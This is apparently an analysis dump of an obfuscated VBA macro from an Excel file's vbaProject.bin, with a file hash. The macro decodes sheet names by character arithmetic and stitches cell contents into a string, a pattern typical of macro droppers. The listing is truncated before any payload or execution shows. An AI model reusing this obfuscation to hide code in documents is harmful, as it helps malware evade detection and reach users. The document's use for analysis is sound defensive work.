'b4849755ab7f7536adf9571ad2ab4a800916 = Trim(lcase(abc1a755ab7f7536adf9571ad2ab4a800916)) Like Right(Left(fff1a755ab7f7f89adf95eab4a800915, 14), 1) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, 17), 5)
b4849755ab7f7536adf9571ad2ab4a800916 = Trim(LCase(abc1a755ab7f7536adf9571ad2ab4a800916)) Like Right(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 9) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, 11), 2)
If b4849755ab7f7536adf9571ad2ab4a800916 = True Then
abc1a755ab7f7536adf9571ad2ab4a800916 = Sheets(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 3), 1, 1) & Mid(fff1a755ab7f7f89adf95eab4a800915, 3, 1) & Chr(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 7), 1)) + 1) & Chr(Asc(Right(fff1a755ab7f7f89adf95eab4a800915, 1)) + 1) & Left(Mid(fff1a755ab7f7f89adf95eab4a800915, 9, 2), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 6, 1)) + 7) & Mid(fff1a755ab7f7f89adf95eab4a800915, 2, 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 2, 1)) - 11) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, 12), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 2, 1)) - 1)).Range(abc1a755ab7f7536adf9571ad2ab4a800916)
If abc1a755ab7f7536adf9571ad2ab4a800916 = (Chr(Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 22), 1)) - 6) & Right(fff1a755ab7f7f89adf95eab4a800915, 1)) Then
abc1a755ab7f7536adf9571ad2ab4a800916 = vbCrLf: End If: End If: fff1a755ab7f7f89adf95ed2a4a80916 = fff1a755ab7f7f89adf95ed2a4a80916 & abc1a755ab7f7536adf9571ad2ab4a800916
If c211ac55ab77689ade50bd1aa4a00916 = ((Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 2), 1)) - 5) / 2) Then
If a211ac15ab97681ade50bd1aa4a00916 < 2 Then
a211ac15ab97681ade50bd1aa4a00916 = a211ac15ab97681ade50bd1aa4a00916 + 1: c211ac55ab77689ade50bd1aa4a00916 = 1
Else
'a211ac15ab97681ade50bd1aa4a00916 = b211ac55ab7f689adf50ad1aa4a800916 and b211ac55ab7f689adf50ad1aa4a800916
a211ac15ab97681ade50bd1aa4a00916 = b211ac55ab7f689adf50ad1aa4a800916 Xor b211ac55ab7f689adf50ad1aa4a800916: b211ac55ab7f689adf50ad1aa4a800916 = a211ac15ab97681ade50bd1aa4a00916 + 1: c211ac55ab77689ade50bd1aa4a00916 = b211ac55ab7f689adf50ad1aa4a800916: d211af55ab7f7689adf950ad2ab4a800916 = d211af55ab7f7689adf950ad2ab4a800916 + 1: End If
Else
c211ac55ab77689ad
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 126464 bytes
SHA-256: 17957ff06ec27a607be9c306f9b02aa82399b4b3a005f4dc1b750583df22e58d